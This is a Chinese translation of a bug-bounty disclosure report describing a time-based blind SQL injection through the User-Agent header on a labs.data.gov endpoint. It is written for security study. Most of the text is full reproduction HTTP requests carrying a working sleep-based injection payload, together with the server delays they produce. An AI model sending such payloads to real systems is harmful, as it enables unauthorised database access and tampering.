聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
文章來源:https://hackerone.com/reports/297478
我發現了一個SQL注入漏洞 /dashboard/datagov/csv_to_json
,可以通過User-Agent HTTP請求頭利用它。
我沒有從數據庫中提取任何數據,我已經使用具有算術運算的sleep SQL查詢確認了漏洞。sleep 命令與算術運算結果將導致服務器響應不同的延遲時間。
例如,將該值設置 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到User-Agent
頭部將導致服務器延遲25(5×5)秒。
要重現,請發送以下HTTPS請求:
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
服務器將在25(5 * 5)秒后響應- 與User-Agent:請求頭
的值相同。
現在,讓我們讓服務器立即響應。我們將發送等於0的值sleep(5 * 5 * 0)。
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
服務器立即響應為5 * 5 * 0 = 0。
讓我們用另一個請求確認:
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
這次有效載荷包含6 * 6-30,等於6。服務器在6秒后響應。
這些只是我嘗試確認此問題的各種算術運算的一些SQL查詢。
碰撞
攻擊者可以操縱發送到MySQL數據庫的SQL語句並注入惡意SQL語句。攻擊者能夠更改針對數據庫執行的SQL語句的邏輯。